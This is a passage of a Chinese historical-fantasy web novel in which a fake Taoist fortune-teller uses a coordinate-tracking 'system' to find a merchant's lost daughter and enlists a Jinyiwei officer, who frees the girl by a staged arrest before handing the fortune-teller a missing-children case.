驴还没骑上,先遭了两回罪。尚蓓这回看明白了,这缺德系统只包她骑驴,却不包她养驴。她捂着鼻子清理完满地污秽,而后恨恨地雇了个小厮。
不就是钱吗!她很快就会有了!
尚蓓内心瞥了眼面板,夏楠和于痊的坐标早已到达京城。于痊在一个地方固定不动,显然是进了大牢。而夏楠最近在几处地方频繁打转,或许是在忙碌京城的差事。
而后的某一日,于痊的坐标忽然消失了。只见联系人那栏,赫然标着行灰字:联系人已失效。
不久,夏楠开始向她移动。
尚蓓心中一紧。于痊一死,他就立刻往邱城赶,速度快得不像送赏银,倒像怕什么从犯跑路了。
想起坊间有关他多疑的传言,她背后再次泛起凉意。
不能在这等。
——
京城,北镇抚司。
“不过一个小道士,用得着你亲自去送赏银?”指挥使皱着眉看夏楠,“你指个信得过的人走这趟便是,锦衣卫办事,谁还敢劫了去不成?你刚升迁,正是该攒着力气办要紧事的时候,我还有个案子要给你,何必为这点小事浪费时间。”
夏楠面色坚决:“大丈夫言出必行,还望大人准假。下官定会星夜疾驰,绝不耽误要事。”
指挥使扯了扯嘴角:“既如此,就给你五日,速去速归。记得把于痊的事交接好了。”
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>夏楠恭敬应下,转身出门疾步下阶,将聘任文书小心收起,连带那千两银票一并贴在心口。周围几个千户见了他,皆小心赔笑。须知他此番抓获于痊立了大功,升镇抚使,掌北镇抚司,得皇帝亲赐麒麟服,可谓是红极一时。
但夏楠却没忘记真正的功臣。然而他不想暴露她神算之能,只能粗略说她提供了关键证据,更别提那于痊反应过来,一口咬定那道士是他同伙,险些累得尚蓓也被记了一笔。
思及此,夏楠眼神微冷。他行至门口,翻身上马,对着身后亲信吩咐道:“我告了假,要再去邱城一趟。于痊死前供认的那些名字就交给你了,务必仔细盘查,宁可错杀不可放过。”
那亲信闻言一凛:“定不负大人所托!”
自京城往东三百里,寻常车马少说也要四五日,夏楠硬是压到了两天半。问到那卦师的居所,他整理了一番仪表,这才叩响院门。
没人应。
夏楠眉头微皱。坊市街口,那卦师也没摆摊,街坊都说她昨日就没出摊,那她去哪了?
他敲开邻户的门。邻户一看他肩头麒麟,吓得话都说不清楚,只结结巴巴道不知。夏楠又敲开一户,也不知。直到敲开最高大的那扇宅门,里头一个儒商打扮的中年男子哆哆嗦嗦,好歹给了点有用的消息:
城外青崖山访友去了。
他手按在刀柄上,站在巷口远望,心中不由得有些气愤。
他千叮咛万嘱咐让她等他,这人倒好,早不访友晚不访友,偏偏在他来的时候访友。怎么,是嫌他动作慢了吗?
夏楠忍着火驰至邱城官衙,对着满脸赔笑的县令拍下银票:“本官奉皇命来给尚道长送赏银,恰逢她不在,本官又公务繁忙,无法久留,这赏银便暂且寄在你这里,待她归来后交予她。若敢私吞……”
县令忙不迭伏地应道:“下官不敢!夏大人放心,下官定当亲自妥为保管,尚道长一回来便亲手交到她府上!若有分毫差池,下官提头来见!”
夏楠颔首,转身出了官衙,摸着怀中文书,有些犹豫。
这是江湖线人的聘任文书,必须当面交付,决不能让第三个人知晓。但此去归京,下回得闲不知何日。夏楠看了看天色,问清方向,骑上马向青崖山奔去。
青崖山山腰有座道观。夜半三更,看门的小道童听见有人哐哐叩门,气得披衣起来骂道:“哪个缺德的深更半夜砸门!”一开门,浑身骤然冻在原地。
夜色如墨,天寒且静,云遮月,树掩星。那玄衣立门,煞煞卷昏冥。他腰间长刀微闪,似在问他:仙骨几根,可堪人间刑?
“鬼、鬼啊——”
突然,小道童的声音卡住。他惊愕地看着那一脸杀气的男人娴熟地扣住他下颌,听见他阴森森问:“可有个叫尚蓓的卦师到过此地?女子,年纪约莫二十,这么高。”他比划了一下自己胸口。
小道童惊恐地摇摇头:“唔唔,唔唔唔唔!”
夏楠松开了点钳制。
“没有,绝对没有!”
夏楠皱眉。忽而内殿声动,他抬头望去,见殿里走出来一个人影。
5. 沈鸯
涯清道长手持浮尘,声音平淡:“不知居士深夜到访,所谓何事?”
夏楠松开道童,转而迈入观中,目光在院内迅捷一扫,沉声问:“可曾有个叫尚蓓的卦师与道长论道?她自称师承邹城白鹿山一隐士,最擅算卦寻人。”
涯清道长徐徐答:“未曾。白鹿山还有这样一脉师承?贫道倒也有些兴趣,若是有缘得见,定当相告居士。”
夏楠心里有些不耐。他又不是抓犯人,这道士没必要说假话,既然说了没见过,想必是真没来过。可一个道士进青崖山访友,除了来这道观,还能去哪?总不至于这青崖山另有个隐世高人吧。
夏楠冷哼一声转身。
“既如此,便不叨扰了。”
他不再多言,疾步下山,翻身上马离去。
——
“左姑娘身子可好全了?不若再歇两日吧?”
邱城外二十里一处小村庄,一农妇关切地牵着个布衣女子。那女子笑着应道:“这两日多谢赵大嫂照拂,只是迟则生变,我还是早日动身为好。”
女子自然便是尚蓓。这两日,她假托去京城投亲,路上借宿,躲进了这家农户,紧紧盯着夏楠的坐标,见他往青崖山去时,更是一宿没睡好。
送赏银,非得当面交?非得大半夜跑出来追人?
所幸没过多久,他便离了邱城,行迹没有丝毫犹豫。于是次日一早,她便向农户辞行。
“这些你拿着。”尚蓓又给农妇塞了些碎银,“我父亲据说在京中做官呢,必然不会短了我的。昨日病那一场,害你破费了。”
病也是她的托辞,只为再留一日。哪想赵大嫂如此豪爽,直接给她杀了只鸡,搞得她心里实在有些不好意思。
赵大嫂拉起她的手絮叨,“左姑娘,听大嫂一句劝,对你父亲少些指望。他从未见过你,也未必会把你当回事,你得学会为自己打算。这钱你还是自己拿着,万一有点什么变故呢。”
尚蓓越听越羞愧,恨不得把头埋进地里:“大嫂好意,我记下了。若我日后混出名堂,定会回来报答大嫂恩情。”
两人几来几去,尚蓓坚持把碎银留了下来,这才背起包袱,翻身上驴。
驴儿缓行大半日,才到邱城门口,便有个差役认出她,连忙挤过人来对他一拜:“尚道长,可算等到您回来了。昨日夏大人给您送来千两赏银,寄在县太爷那儿呢,让您一回来就去取!”
尚蓓心里一动,没曾想,那夏楠竟真把赏银送来了。可他昨夜里往青崖山跑又是为何?
她面上不显疑虑,笑着谢过差役,去衙门领完赏,又去买了只九玄龟壳,这才叫上歇假的小厮,回了城南巷的院子。屁股还没坐热,沈源竟然上了门。
“尚道长此番访友,可得了什么新机缘?”
尚蓓心里稍松,起身迎客:“不过是出去躲几天清闲,哪有什么机缘可言。沈员外今日怎么有空过来?”
“自然是有卦请道长算。”他从袖中抽出张纸笺,尚蓓打开,见上面赫然是两个人名,并两列生辰八字。
“十年前,我在徽州求学时偶遇一红颜知己,育有一女。归家后,我便禀明父母,欲接她来邱城,熟料她路上遭了山匪,从此便杳无音信。”
尚蓓呼吸一滞。
“我费了些周折,才将她在徽州的户帖翻出来,得了她母女的生辰八字。”沈源说着,语气愈发恳切,“还请尚道长帮我算算,她们如今可还安好?若……有那么一丝希望,又落在何处?”
尚蓓面容顿时严肃起来:“沈员外放心,贫道这便起卦。”
她迅速摆了套架势,而后面色微哀:“秦娘子已经不在了。”
沈源长叹一声,又急问道:“那我女儿沈鸯呢?”
“还活着,但……在五十里之外。”尚蓓看了眼坐标,斟酌着开口,“这九玄龟壳不足以明示,我需要……赤纹金龟壳,才能承受……五百里内的探寻。”
沈源当即便叫来管家:“快去西市琳琅阁,把他们那镇店的赤纹金龟壳买来。”
周管家应声而退,约莫过了半个时辰,才捧着一个红漆木盒回来。尚蓓掀开盒盖,果见一只巴掌大的龟壳静静躺着,底色是明亮的琥珀色,沟壑间夹着暗红,如同血色脉络。
尚蓓有些心虚,拿着龟甲胡乱摇了一卦,而后对着地图,缓言道:
“在京城。皇宫东南,一户……很大的宅院里。”
她对京城格局不太了解,这地图又只画屋舍街巷,不写用途,除了皇宫,她一概认不出。但因着前些日子关注夏楠动向,尚蓓大概能猜出,哪儿是他家,哪儿是北镇抚司大牢。
沈鸯所在的院子,同夏楠的居所隔着也就一条街,明显处于富户区。若要去寻人的话……
沈源一愣,随即面上露出些喜色:“算算年岁,鸯鸯如今该有十六了,许是被好心人救下,收为义女养大?又或是嫁进了高门?”
尚蓓沉声道:“又或是被牙婆卖进高门大户为奴为婢,好在暂时性命无忧。沈员外,此女,你可还要寻?”
沈源沉思良久,才缓缓答她:“自然要寻。不管如何,至少要找到她,确认她过得怎样。若她被卖作奴婢,我便将她赎出来,好生弥补,也算对绫娘有个交代。若她过得很好,哪怕不肯认我这个生父,至少也能让我心安。”
尚蓓深深看了他一眼,才点头道:“既然沈员外有这份心,贫道定当尽力襄助。”
她行至书房,铺纸研磨,依着脑海中的地图,将沈鸯的位置画了下来,交给沈源。沈源接过那图稿,面露疑惑:“尚道长不去吗?”
“我骑驴去,太慢。”尚蓓认真道,“劳烦沈员外差人先行。说不定我还没到京城,便撞见沈员外的人带着好消息回来呢?”
想到她那头可爱的小毛驴,沈源一噎,讪讪收起图稿。
“尚道长放心,这一趟用钱,我都包了。”
——
天色微明,邱城西门并排驶出两辆车,一辆是马车,另一辆却是驴车。
马车里坐的是沈源的管家,周冠。他同尚蓓掀帘打了声招呼,寒暄几句,随后便吩咐车夫启程。尚蓓这辆车也有车夫,也是沈源派的,连一应行李都有沈源置办。虽然她现而今有了千两家当,但毕竟替人办事,这钱她用得理直气壮。
驴车稳行六日,却没见有好消息传回来。尚蓓心中一紧,果然,这沈鸯没那么好找。
第六日傍晚,尚蓓乘着驴车进了京城。
暮云压顶,城阙气势恢宏。长街上车马重重,泾渭分明,华辇拒青篷,她正在渭流之中。酒旗茶幡,飘摇自引风,那道旁商贩匆匆,路上行人摩肩又接踵。这便是大周尘笼。
尚蓓却没心思细品车外景象,注意力全在地图中那两个坐标。
一个是沈鸯。这些日子,她基本就在一个小院里打转。晨间动得晚,夜里静得早,想来不是什么的终日操劳的婢女。
另一个
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是夏楠。他的活动范围就广了,作息时间也不固定。一般是家-皇宫-北镇抚司三点一线,有时深夜跑去某家富户,有时在茶楼酒肆之间流转。
比如现在。
见那坐标自她后方驰来,尚蓓下意识地扯紧车帘。
“贾师傅,再往旁边让让,”她对前面车夫唤道,“别冲撞了贵人的车马。”
想到身后这道长的异相,车夫果然往街边又靠了些。马蹄声踏踏而过,无所察觉,尚蓓松手,微微掀起帘角,只看见一袭石青的背影。
她松了口气,按照与周冠约定的地址,找到城西的一家客栈。两波人接上头,周冠面色明显有些为难。
“尚道长,我提前两日到的京城,打听了不少消息。那沈鸯姑娘,我倒找到了,只是——”
尚蓓微微颔首,示意他说下去。
周冠语气有些微妙:“她现在叫柳莺,现是平阳侯府二少爷冯绔的宠妾。”
尚蓓眼神一凝,沉声问:“能确定是她吗?”
“道长画的这院子,赫然便是柳莺所住的春深院。”周冠从怀里掏出那张图稿,“位置、年龄、出身都对得上,应当错不了。”
“她叫沈鸯。”尚蓓纠正他,“你同她可见过面了?”
周冠犹豫了半晌,斟酌着开口:“……尚未。道长,我打听过了,那柳——沈鸯极受冯绔宠爱,在侯府里穿金戴银,吃香喝辣,比沈家强了不知多少倍。”
他声音压低,谨慎看向她:“您说,咱们这样找上去,人家肯认吗?”
尚蓓神色一肃:“周冠,这是你的意思,还是沈员外的意思?”
周冠连连摆手:“自然是我自己的意思!我只是觉得,若她对老爷出言不逊……”
尚蓓打断他:“沈员外是厚道人,绝不会计较这点虚辞。况且,沈员外从一开始要的就是见她一面,确认她过得好不好。”
她格外加重了“确认”二字,“这个答案不是咱们两个外人能断定的,必须亲自问她才行。她若觉得侯府日子好,我们自不必纠缠,但她若更想寻得亲人呢?你不是她,你如何得知。”
周冠愣住,随即有些心虚:“大师说得是。是我想岔了。”
他端正神色,继续道:“那咱们按原计划行事。我打听到,三日后,冯绔要带沈鸯去城外的紫霞观祈福,咱们可以扮作普通访客,找机会跟她说上话。”
尚蓓点点头:“就这么办。”
这三日,尚蓓几乎没出门。第三日,天还没亮,她便起了床。
周冠扮作个儒商,尚蓓却作云游散道模样。辰时初,见沈鸯开始活动,她便叫上周冠,乘着驴车出了城。
周朝尚道,紫霞观更是京外第一大观,观里道士如云,一个个宽袍大袖,仙袂飘飘。见尚蓓一身道袍灰扑扑,不禁抬起鼻孔。尚蓓也不恼,和周冠先去拜了三清像,而后在观里随意溜达了两圈,看着沈鸯的坐标缓缓移动。
她到了。
山门外停了一辆华丽的马车。车帘轻动,先有个玉面公子走下来,而后他回身,含笑去扶车里的人。
一只纤细白皙的手搭在他掌中,而后,是一顶帷帽。朦胧之下,隐约可见女子身姿窈窕。偶有风掀起白纱一角,露出片刻的惊艳,左右访客无不屏息。
沈鸯被冯绔牵着,一阶一阶向上走。白纱轻晃,与尚蓓略一擦肩。
“沈鸯?”她轻唤。
沈鸯毫无反应,连步伐都未作一停。
6. 三日之期
目送那一对男女进了大殿,一干侍从皆在殿外等候。尚蓓同周冠使了个眼色,他会意,揣上只荷包,凑到一个小厮模样的人面前:
“这位兄台,我家老爷想同平阳侯府谈个生意,不知兄台能否代为引荐冯二公子?”
那周冠不愧是沈家的老人,几句话就把那小厮哄得眉开眼笑,三言两语就答应帮忙递话。没过多久,见冯绔牵着沈鸯出殿,那小厮便附到自家主子身边耳语起来。
冯绔听完,面上有些不耐,皱眉看了周冠一眼,偏头向沈鸯温言几句,又替她理了理鬓发,这才松开她,同周冠往一旁静室去了。
眼瞧着沈鸯在侍女陪同下走向后院凉亭,尚蓓内心紧张起来。她小心跟上几步,挨到凉亭边。
“这位居士,相逢便是有缘。”她端出一副玄妙表情,向她拱手,“可否容贫道入内同坐?”
沈鸯才摘了帷帽,察觉有人靠近,下意识地又要戴上。她偏头看了她一眼,见她是个女子,才轻轻颔首,声音柔婉:“道长客气了,这本也不是我自个儿的地方,请进吧。”
尚蓓冲她笑了笑:“多谢居士。”
她在她对面坐下,沈鸯还命侍女给她奉了杯茶。尚蓓接过,目光在她腕间玉镯略停,随后抬眸向她,语气温和:
“贫道游历四方,于相面一道略有心得。今日观居士面相,虽富贵在外,眉眼间却隐隐有些迷思,可是于己身有些疑惑未消?”
沈鸯温笑接话:“道长说笑了,我一介深宅妇人,能得这富贵日子,已是幸事,哪儿有什么疑惑需要消。”
“人之在世,不过昨日、今日、明日。”尚蓓刻意拖长了语气,眉眼沉沉,“若只看今日,却不知昨日,又如何能保全明日?”
沈鸯面色一滞。她余光瞥向一旁侍女,声音微冷:“你是何人?为何要同我说这些?”
尚蓓听出她的警惕,也不恼,笑道:“居士莫怪。贫道方才在观中听紫微大师讲《道德经》,略有所得,故而随口感慨罢了。”
沈鸯一时没应。她垂眸盯着她腰间葫芦,半晌,才轻声道:“道长能看出什么?”
尚蓓从怀中摸出一只龟甲,并三枚铜钱。
“贫道道行有限,看不了太深,需得向天卜问,才能告诉居士更多。”
沈鸯指尖缓缓收紧。
“如何卜?”
“需居士名姓与生辰八字。”尚蓓温声回道。
女子沉默半晌,艰难道:“我叫柳莺,生辰八字……不知道。”
尚蓓眼眸一凝。
“自记事起,我就在红绡坊里了。那会儿,嬷嬷叫我莺儿。后来冯公子赎了我,给我取名柳莺。但没人告诉过我生辰八字,冯公子为我贺生辰,也是按我赎身的那一日。”
她身边的侍女面色戚戚:“唉,我们姑娘当真是个命苦的,若不是遇着冯公子……”
尚蓓听完,捻着铜钱细思起来。
原来只是忘了,不是回避,那倒略微好办些。
她试探着问道:“居士左肩,可有一枚朱砂痣?”
沈鸯大惊,下意识地拢紧领口。她给侍女递了个警告的眼神,冷声道:“你出去守着。”
侍女亦是面色惶惶,匆忙行了一礼,而后退到亭外。沈鸯左右环视一番,才压低声音问道:“道长如何得知?”
尚蓓看着她,语气平静:“是居士生父托我寻你。你本名沈鸯,是邱城一布商之女,只是幼时被匪徒劫去,故而在外流落多年。”
沈鸯蹭地站起身子,声音发颤:“那、那我母亲呢?”
尚蓓微微垂眼:“令堂已逝,还请居士节哀。”
沈鸯俏脸瞬间失了颜色,她踉跄着扶住亭柱,肩膀抖了半晌,才渐渐稳住呼吸。她重新坐下,刻意整理了一下钗环,温声道:“多谢道长相告。只是还请道长替我转达,我毕竟已沦落风尘,便不连累父亲名声了。”
尚蓓略一颔首,并未追问,只另起一论:“既然知了昨日,居士可看清明日了?”
沈鸯眼中有些疑惑:“明日?”
“居士今日姿容秀丽,深得冯公子宠爱,可若年华老去,那冯公子变心,他日新人换旧人,你又该何往?”
尚蓓紧紧盯着她姣好的面容,不错过她丝毫反应,却听她轻笑一声。
“道长多虑了。我在红绡坊长大,这些世家公子的心思,我怎会不知?正是因为看得清明日,我才选了他。”
尚蓓一愣。
沈鸯语气里带上点讽刺:“反倒是那位父亲,十多年了,他都未曾寻我,一朝我入了侯府,突然找上门来认亲,当真是念着我吗?”
尚蓓张了张嘴,一时竟不知如何辩驳。她自然知道沈源是遇到自己这个“神算”后,才有了新的希望。但站在沈鸯的角度,她看到的确实是自己从未得过生父半分音讯,乃至生父有攀附之嫌。
何况,沈鸯说得也不无道理。她忽然想起赵大嫂的话,沉默良久,才缓缓开口:
“既如此,便把你父亲抛下,再把冯公子抛下,只问你自己。”
尚蓓认真看她:“如果给你一个机会,你想离开这侯府吗?”
听完她的问题,沈鸯顿时怔住。正此时,亭外的侍女疾步靠近:“姑娘,冯公子来了。”
沈鸯回神,迅速理好神色,重新戴上帷帽,对着尚蓓敛衽一礼:“道长,咱们有缘再见。”
“等等。”
尚蓓急急起身拉住她,附耳道:
“我会等你三日。三日内,如果你想离开,便找机会去……平阳侯府西北角,那个最小的院子,尽量待久一点。我……的人看到了,就想办法来接应你。”
白纱微定,柳莺的面容模糊不清。半晌,里头传出一声极轻的回应:“多谢道长。”
而后她走出凉亭,迎上那锦衣公子,声音娇软:“二郎,莺莺等您许久了。”
尚蓓看着二人调笑离去,仍坐在亭里,慢慢喝完那杯冷茶,才信步行至紫霞观前殿。周冠已在观门口等着,见她出来连忙凑上前问:“怎么样,她说了什么,肯认老爷吗?”
尚蓓一时未应。她徐徐走出紫霞观,坐进驴车,才缓声道:“她说要考虑三日,咱们回客栈等消息便是。”
周冠听完一急:“三日?可这侯府大院门禁森严,她平日又深居简出,我们怎么联络她?”
“莫急。”尚蓓露出个玄之又玄的神色,“贫道自有仙法。”
周冠一噎,想到这道长神算,满肚子疑惑都憋了回去,只好吩咐车夫回城。
而后,尚蓓时不时就去看脑海中那
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个坐标。
前两日,她仍在小院子里打转。第三日,她动了。
她推门出屋,敲开周冠的房间。
“沈鸯昨夜托梦给我。”尚蓓面容玄妙,“她说她过得不好,想离开侯府。”
周冠面露疑惑:“过得不好?可她——”
“这就是你不懂了。外人只知她表面荣宠,焉知她内里如履薄冰。”尚蓓露出个感慨的表情,“以色侍人,又委身个纨绔子弟。说不准哪天触了主母的霉头,落得个发卖的下场呢?”
“可、可这……”周冠有些着急,“这平阳侯府待下还算宽和,也不是那等随意打杀仆婢的人家。她只稍安分守己,一生安宁也是有的,何至于要离开?要不,您托梦告诉她,她认了亲,有娘家靠着,出身也体面些。”
尚蓓偏头看他,语气微沉:“周管家,这是你的意思,还是沈员外的意思?”
对上她那双清朗的眼眸,周冠心底莫名一跳。
他收敛神色,绕到案旁坐下,随手倒了两杯茶,推一杯给她。尚蓓也找了个地方坐下,却没接茶。周冠也没介意,只捧着自己的茶盏轻吹,半晌,才徐徐应道:
“老爷自然是想同小姐团聚的,可若只是寻常仆婢也就罢了,找上侯府管事打点一番,赎出来,几十两银子自不在话下。但这是冯二公子心尖上的人,以沈家的背景,实在招惹不起平阳侯府,不如……”
“你不必与我说这些。”尚蓓打断他,“你就说,若我想带沈小姐出来,沈家能帮上什么忙?”
周冠移开目光。
“只能出钱。”
——
北镇抚司大院,入眼灰墙承黑瓦,石兽狰狞,仿佛要将路人吞尽。门口站着两个番子,腰佩长刀,目光锐如鹰。
一对男女守在街角,走过来,走过去。
周冠腿肚打颤:“咱们真、真要找他?”
尚蓓瞪他:“那不然呢,你认识谁?”
周冠语塞,绞尽脑汁想沈家还有没有其他人脉能用,然而没有。
“莫慌。”尚蓓给他打气,“我与夏大人有交情的。而且你不是花钱打探过了吗?那于痊案已经了结,夏大人根本没怀疑我。”
周冠幽幽看她一眼。邱城只传这位道长神算抓重犯,她不说,他都不知这位夏大人还怀疑过她。
更害怕了。
这时,一个番子察觉二人异动,骤然拔刀:“什么人!”
尚蓓一吓,下意识想往周冠身后缩,发现周冠比她缩得更快,只好硬着头皮走出来,冲一个番子拱了拱手:“劳烦通报一声,邱城卦师尚蓓求见夏镇抚使。”
那番子上下打量她一番,转身进去了。约莫过了一盏茶的功夫,一个番子引着他们进了间偏厅。厅内陈设简单,一张黑漆桌案,两把木椅,没茶。
尚蓓犹豫半晌,还是坐了下来,但屁股只沾了个边。周冠完全不敢坐,哆哆嗦嗦靠在角落。
尚蓓全神贯注地盯着脑海中的坐标。
“夏楠”正在从诏狱走向校场。
“夏楠”正在从校场走向正堂。
“夏楠”正在从正堂走向前院。
“夏楠”正在从前院走向偏厅。
几乎同时,门外突然响起沉重的脚步声。尚蓓心头一跳——
7. 两条路
门枢响动,先半扇天光侧进来,而后骤然又一暗。一个高大的黑影封死退路,偏厅内瞬间冷了十八度。
周冠整个人僵住,连呼吸都放得极轻。尚蓓稳了稳心神,起身拱手:“夏大人,别来无恙。”
夏楠目光在二人身上略一梭巡,冷哼一声:“大师上回访了什么友,竟连赏银都不想等了?”
听他这话,尚蓓暗自松了口气。至少他一张嘴提的是她放他鸽子的事,而非什么于痊奸细异相妖道。
她眼神活泛了些,抬起头打量他。他今日穿了身玄色方领袍,腰束革带,没佩刀,瞧着倒比先前少了几分杀气,多了几分闲散。
“贫道还以为夏大人公务繁忙,总得晚些才能得空,却不知夏大人办事如此利落,不过半个月便回了邱城。”她语气诚恳,“让夏大人扑了个空,确实是贫道的不是。”
夏楠依旧没给好脸色,大步走到主位坐下,见案上空空,不禁微微皱眉:“来人,上茶。”
门外迅速端来一个茶盘,清香驱散了淡淡的血腥。夏楠端起茶盏随意灌了一口,搁盏抬眸,语气淡淡:“找我什么事?”
尚蓓也轻沾茶盏,而后放下茶杯,徐徐道:“冒昧拜访,是有件事想请大人帮忙。”
“寒暄就免了,说重点。”夏楠一抬下巴。
尚蓓见他这副不耐烦的模样,只好略去部分缘由,直言道:“贫道前几日接了一卦,到京城来寻人。但人在平阳侯府,是个内眷,而我在京城没什么人脉,带不走此人,故,想请大人出手。”
尚蓓摸出赤纹金龟壳,轻搁案上,“我也不白麻烦大人,贫道可以免费帮夏大人算一卦,算是交换。”
夏楠靠到椅背上,瞥一眼那新龟壳,轻嗤:“本官若想找大师算卦,还需要钱?”
尚蓓神色玄妙地摇摇头:“寻常一卦自然算不得什么。但若要细究道中变卦,就得贫道多耗些法力了。”
夏楠微微抿唇,没接话,偏头看了眼周冠:“他是?”
周冠大气也不敢出,慌忙躬了一大礼:“草、草民见、见过夏、夏大人!”
“这位是委托人派来的帮手,沈府管家,周冠。”尚蓓眼神示意他接话,但见周冠嘴唇抖得像筛子,只好替他开口,“大人若能帮这个忙,沈府亦有重谢。”
夏楠上下扫视他周身,见他恨不得把自己塞进墙缝里,扫兴地移开目光:“平阳侯府的什么人?”
尚蓓迅速接道,“冯二公子的宠妾,柳莺。”
夏楠捻了捻下巴,似乎掂量平阳侯府的分量。
“还有吗?”
尚蓓一愣:“还有什么?”
夏楠不耐地解释:“只要那个宠妾?不要别人?”
“哦,对,就要那个宠妾。”尚蓓连忙点点头,面露喜色,“大人这是同意了?”
夏楠没答,又问了一遍:“你确定只要那个柳莺?冯绔要不要?”
尚蓓“啊”了一声,使劲摇头:“不不不不要不要,把柳莺带出来就行,后面的我可以自己处理。”
夏楠站起身:“等着。”
“夏楠”离开了偏厅。
听着脚步声渐远,周冠这才敢大喘气。他伸手给自己倒了杯茶,压低声音对尚蓓道:“尚道长,夏大人这是……去走动了?”
尚蓓激动地点点头:“应该是。凭他的权势,应该能说服平阳侯府放人吧?”
周冠看了眼夏楠离开的方向,心底莫名有些疑虑。这疏通打点,还要去官府画押消契,怎么也得小半日,他就把他们撂在这等?午膳怎么解决?
他觑了眼尚蓓,只见她面色轻快,手上随意甩搭着铜钱,一不小心甩到桌下,便折身捡起来,又甩。
大师连锦衣卫都不怕,心里必然有数。周冠默默端起茶盘,到门口又要了一壶。
约莫过了半个时辰,尚蓓看着“夏楠”和“沈鸯”的坐标逐渐靠北镇抚司大门,急忙拉上周冠迎了出去。
“多谢夏……”
“妖道!我与你无冤无仇,你为何要害我!”
一声凄厉的斥骂响彻北镇抚司前院,尚蓓瞪大眼睛,看着满脸惨白的沈鸯,又看着反剪她双手的夏楠。
尚蓓回神,赶紧凑上前去,想要接过沈鸯。然而她奋力向前一扑,一副恨不得吃了她的表情。夏楠微微皱眉,箍着她的双手又往后扯了扯。
“老实点。”
沈鸯立马缩成个鹌鹑,面上依旧死死盯着她,双目泛红,泪痕未干。尚蓓伸出去的手僵在半空,而后讪讪收回去。
她扭头去看夏楠,见他一脸公事公办的样子,嘴角抽了抽。
“夏大人,您就是这么把她带出来的?”
夏楠看她一眼:“不然呢?一个破落侯府,我还客客气气跟人打商量不成?目的达成就行。”
他把沈鸯松开,往前一推:“人,我已经带到,现在该道长兑现诺言了。”而后招招手,对一个下属小声吩咐了几句。
尚蓓气笑了。她想去扶沈鸯,却被她一躲,只好眼神示意周冠。周冠连忙把人引到一旁,轻声劝慰。沈鸯听他解释完,悔得肠子都青了。
她确实想出府看看,但也是算着冯绔对她足够痴迷,若没混出名堂,改日回来依旧有把握复宠。谁料这道士接应她的方式就是派尊煞神二话不说闯进来给她扣顶奸细的帽子,这下可好,平阳侯府哪儿还敢沾她。
再看那道士,竟叉着个腰同那煞神瞪起眼来。
“夏大人干活倒是轻巧,您这样把人带走,往后她怎么处世?”
夏楠眯起眼:“不认账?你说过后面自己处理的。”
尚蓓一噎,随即反唇道:“是,行,那卦我照算,别的您什么也别想让我干,成交吗?”
夏楠抿了抿唇,微微偏头:“回头说查无实据,放人就行了。”
“您把人放了,再让我去和平阳侯府商量怎么顺顺利利带走她?”尚蓓依旧不买账,“那我找您干嘛?”
夏楠往腰间一扶,发现没佩刀,遂近前两步,阴影笼在她头顶。
“尚道长。你要的人,我带到了,后面怎么办,是你的考量。”他语调冰冷,“至于道长算卦,若是偷奸耍滑,该怎么处置,就是本官的事了。”
尚蓓仰头看他。
先前观此面相,恰有暖灯旁照。而今他以背蔽日,眸中只有阴凉。
她定了定神。
“那我若明明尽了心办事,夏大人却一口咬定我偷奸耍滑呢?”
“譬如,我为了抄近道,带大人误入一处狼窝。大人可会觉得贫道有心陷害?”
夏楠眉峰微压。
“不论道长指了什么路,只要最终结果是人找到,本官自然既往不咎。”
“道长若是觉得能杀得了本官,大可以试试。但若没杀成,回来问候道长的,就是十八道刑讯了。”
尚蓓又盯了他片刻,忽
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然轻笑。
“好。那就等一切盖棺定论,再论刑赏。”
她转身,蹲到沈鸯面前。沈鸯下意识地往后缩了缩,却见尚蓓从袖袋摸出一方帕子,递给她,声音轻柔:
“居士莫怕,且听贫道两言。”
沈鸯犹豫了一瞬,接过帕子,抽噎着擦了擦眼角。
“而今居士面前有两条路。一条是跟周管家回去,只说外面寻来的女儿。柳莺这个身份,自然就‘冤死’在北镇抚司里,到邱城,谁也不知你过往。”
“另一条路,是夏大人立刻出具文书,说抓错了人,将你全须全尾放回侯府,你自然还可以继续做柳莺。只是沈家力微,实在无能将你带走,至多认个亲,给你送些财货。”
沈鸯一喜,刚想说回侯府,忽然听见北镇抚司门外传来哭喊:
“夏大人明鉴,莺莺绝不是奸细!我愿意出钱赎人!求你把她还给我!”
而后又是些拉拉扯扯的声音,兵戈出鞘的声音。
有人劝他“二公子,这可是北镇抚司,柳姑娘就算出来,身子怕也废了。”
有人骂他“冯绔!你自个识人不清,别连累平阳侯府!”
尚蓓微怔,回头去看沈鸯,见她定定看了大门许久,而后缓缓转向尚蓓。
“我选第一条。”
“但,我想拜道长为师,学习道法,云游四方。”
周冠一愣,尚蓓更是面色僵住。她一个靠系统吃饭的假道士,哪来的道法教她。
她硬着头皮道:“修道这事,很吃天赋的……”
沈鸯起身整了整衣摆,向尚蓓深深一拜:
“沈鸯不求修成什么大道,只愿跟着道长看看大周山河,还望道长成全。”
可她也不云游啊。尚蓓心虚地移开眼:“我……贫道现在有些差事要同夏大人去办,你先随周管家回去,在沈家安顿几日,可好?”
沈鸯莞尔一笑。
“既如此,弟子便等师父好消息了。”
她又拜,而后起身,向周冠轻轻颔首:“劳烦周管家安排了。”
周冠连忙应下,引着沈鸯到一旁商量返程的事。夏楠轻嗤一声,对着左右道:“把门口清理干净,就说柳莺狱中自尽了。”
门外很快传来嚎哭,甚至还冒出几句咒骂,随即立刻止住。声音渐远,夏楠转身抬腿往后院迈去,偏头示意尚蓓跟上。尚蓓向周冠和沈鸯轻轻颔首,而后小跑追上他。
她跟着夏楠一路穿过厅堂,见他偶尔同几个锦衣男子招呼几句,最终在一间司房停下,旁边一个门牌,上书:酉。
夏楠大跨入内,旋身坐到案后,桌上已经整整齐齐摞了几叠案宗。他抬眸,先抽出张文书,语气严肃:
“尚道长,听此案前,需先签字画押,直到结案,你都不可擅自行动。若外泄一个字,休怪我不留情面。”
尚蓓心里一惊,连忙把头往旁一扭:“我什么也没看见,现在还来得及走吗?”
“晚了。”夏楠微微勾唇,“道长下回找上门来,最好提些难办的差事,不然,倒显得我白赚一笔。”
尚蓓磨磨牙,搬了个凳子坐到他面前,翻出龟甲铜钱搁在案上:“行吧,反正我也就算个卦带个路,真打架斗殴的事你可别指望我。”
夏楠轻嗤一声,拍给她半盒印泥。尚蓓仔细读完那“保密条款”,这才谨慎按上手印。
卷宗翻开,第一页写着:施州失踪案。
8. 施州失踪案
“去岁,有个寡妇痛失独子,拼着命到京城告御状,捅出了一桩案子。说近几年施州经常有十二三岁的孩子失踪,数量之多远非寻常走丢,但官府却始终查不出原因,后来甚至把报官人打一顿,怪他们没看好孩子。”
